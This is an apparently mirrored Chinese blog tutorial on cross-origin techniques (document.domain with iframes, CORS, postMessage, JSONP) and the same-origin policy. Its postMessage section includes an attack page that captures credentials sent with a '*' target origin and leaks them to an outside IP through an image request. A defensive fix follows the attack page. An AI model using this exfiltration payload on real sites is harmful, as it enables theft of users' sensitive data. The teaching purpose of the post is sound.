zoukankan      html  css  js  c++  java
  • 跨域访问

    常见解决跨域问题的方案

    在web开方中,解决跨域问题最常见的方法有:

    • document.domain+iframe(子域名代理)
    • jsonp实现跨域
    • CORS跨域资源共享
    • postMessage实现跨域

    1、document.domain+iframe(子域名代理)

    .对于主域相同而子域不同的情况,可以通过设置document.domain的办法来解决。

    如:对于两个文件http://www.123.com/a.html和http://blog.123.com/b.html均加上设置document.domain = ‘123.com’;然后在a.html文件中创建一个iframe,通过iframe两个js文件即可交互数据:

    看下hosts文件配置:

    不满足同源策略的要求,因为属于不同主机。

    b.html 的内容是111111111111

    首先,我们要明确同源策略只作用在实现了同源策略的WEB客户端上。 虽然笔者不常用百度,但是我们来看一个具有误导性的结论:百度词条对于同源策略的解释说“只有和目标同源的脚本才会被执行”,这是不对的,同源策略没有禁止脚本的执行,而是禁止读取HTTP回复。 更正了这个概念之后,我们会发现,SOP其实在防止CSRF上作用非常有限,CSRF的请求往往在发送出去的那一瞬间就已经达到了攻击的目的,比如发送了一段敏感数据,或请求了一个具体的功能,是否能读取回复并不那么重要(唯一的作用是可以防止CSRF请求读取异源的授权Token)。 另外,一般静态资源通常不受同源策略限制,如js/css/jpg/png等。

    被同源策略拦截。

     看network选项卡。这就验证了这句话:同源策略没有禁止脚本的执行,而是禁止读取HTTP回复。也就是说http请求发出去了。但是收到的http回复。被浏览器拦截了。

    b.html页面的控制台:

     a.html的控制台。实现了跨域访问。

     2.跨域资源共享(CORS)

    https://mp.weixin.qq.com/s?__biz=MzIwNDI4MzAwOA==&mid=2650526871&idx=1&sn=4b6e31983d911348c2cfb31044e4ea35&chksm=8ecdf978b9ba706e83f54143f8645c241a88f46e595184b34ae03801271df9bccb35553adfbd&mpshare=1&scene=24&srcid=1221OYM2FfGLP8XW86mmGHzS#rd

     3.postMessage发送消息

    www.123.com/a.html

     <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>Html5 postMessage</title>
            <style>
                #otherWin {
                     600px;
                    height: 400px;
                    background-color: #cccccc;
                }
            </style>
        </head>
        <body>
            <button id="btn">open</button>
            <button id="send">send</button>
             <!-- 通过 iframe 嵌入子页面(接收消息目标窗口) --> 
             <iframe src="http://blog.123.com/b.html" 
                         id="otherWin"></iframe> 
             <br/><br/> 
             <input type="text" id="message"><input type="button" 
                     value="Send to child.com" id="sendMessage" /> 
            <script>
                window.onload = function() {
                    var btn = document.getElementById('btn');
                    var btn_send = document.getElementById('send');
                    var sendBtn = document.getElementById('sendMessage');
                    var win;
                    btn.onclick = function() {
                        //通过window.open打开接收消息目标窗口
                        win = window.open('http://blog.123.com/b.html', 'popUp');
                    }
                    btn_send.onclick = function() { 
                        // 通过 postMessage 向子窗口发送数据      
                        win.postMessage('Hello', 'http://blog.123.com/');
                    }
                    function sendIt(e){ 
                        // 通过 postMessage 向子窗口发送数据
                        document.getElementById("otherWin").contentWindow 
                        .postMessage( 
                            document.getElementById("message").value, 
                            "http://blog.123.com/"); 
                    } 
                    sendBtn.onclick = function(e) {
                        sendIt(e);
                    };
                };
            </script>
        </body>
        </html>

    blog.123.com/b.html

     <!DOCTYPE html>
        <html lang="en">
        <head>
            <meta charset="UTF-8">
            <title>Html5 postMessage</title>
            <style>
                #txt {
                     500px;
                    height: 300px;
                    background-color: #cccccc;
                }
            </style>
        </head>
        <body>
            <h1>The New Window</h1>
            <div id="txt"></div>
            <script>        
                window.onload = function() {
                    var text = document.getElementById('txt');  
                    //监听函数,接收一个参数--Event事件对象
                    function receiveMsg(e) {
                        console.log("Got a message!");
                        console.log("nMessage: " + e.data);
                        console.log("nOrigin: " + e.origin);
                        text.innerHTML = "Got a message!<br>" +
                            "Message: " + e.data +
                            "<br>Origin: " + e.origin;
                    }
                    if (window.addEventListener) {
                        //为window注册message事件并绑定监听函数
                        window.addEventListener('message', receiveMsg, false);
                    }else {
                        window.attachEvent('message', receiveMsg);
                    }
                };
            </script>
        </body>
        </html>

    当点击send的时候blog.123.com会接收到www.123.com发来的消息

    Postmessage伪造数据接收端,获取用户敏感信息。

     因为postMessage()接受两个参数,第一个参数为向另外一个窗口传递的数据(只能传字符串类型),

    第二个参数表示目标窗口的源,协议+主机+端口号,是为了安全考虑,如果设置为*,则表示可以传递给任意窗口。

    所以黑客可以伪造父窗口,从而劫持子窗口存储的用户信息。

    child.html 

    <html> 
     <head> 
     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
     <title>User info center</title> 
     <script type="text/JavaScript"> 
        var userinfo="username:afanti,password:afanti";  //敏感信息
        window.parent.postMessage(userinfo, "*");
     </script> 
     </head> 
     <body> 
        Web page from http://127.0.0.1 
     </body> 
     </html>

    attack.html

    <script type="text/JavaScript"> 
     onmessage = function( event ) { 
        if(event.origin == "http://127.0.0.1"){
            var img=new Image();
            img.src='http://121.195.170.159:7999/?userinfo='+event.data;  //将敏感信息发送给服务器。
            document.getElementById("otherPage").appendChild(img);
        }
     }; 
    </script> 
    <iframe src="http://127.0.0.1/ajax/child.html" id="otherPage"></iframe> 

    访问attack.html

    将域名限制到本域防御:

    <html> 
     <head> 
     <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> 
     <title>User info center</title> 
     <script type="text/JavaScript"> 
        var userinfo="username:afanti,password:afanti";
        window.parent.postMessage(userinfo, "http://127.0.0.1");   //这里修改了。
     </script> 
     </head> 
     <body> 
        Web page from http://127.0.0.1 
     </body> 
     </html>

    子窗口的敏感数据就不会发送到,www.123.com域上了。

    4、jsonp

    下面这个实验是www.123.com:81和www.123.com不是同域,但是script标签可以跨域请求,而jsonp说白了。就是通过script标签跨域并把请求跨域的数据调用的函数传给后端callback参数,后端将返回数据。并且拼接好前台的调用格式,eg:dosomething(["a","b","c"]),从而前台直接处理。

    参考连接:

    http://blog.codingplayboy.com/2016/03/05/web_cross_origin/

    http://blog.codingplayboy.com/2016/03/16/h5_postmessage/

    http://www.zhangxinxu.com/wordpress/2012/02/html5-web-messaging-cross-document-messaging-channel-messaging/

    http://www.css88.com/archives/2343

     https://p0sec.net/index.php/archives/124/

  • 相关阅读:
    RocketMQ(十):数据存储模型的设计与实现
    常用sql语句
    配色方案
    WPF界面MahApps.Metro之应用
    使用 Zendesk maxwell 对接 kinesis (include producer and consumer)
    oracle报错【ORA-01017:用户名/口令无效;登录被拒绝】问题处理
    oracle报错【ORA-28000:帐户已被锁定】问题处理
    $(window).load(function(){})和$(document).ready(function(){})的区别
    HttpClientFactory 结合 Polly 轻松实现重试机制
    ocelot 中间件的变化
  • 原文地址:https://www.cnblogs.com/afanti/p/9134170.html
Copyright © 2011-2022 走看看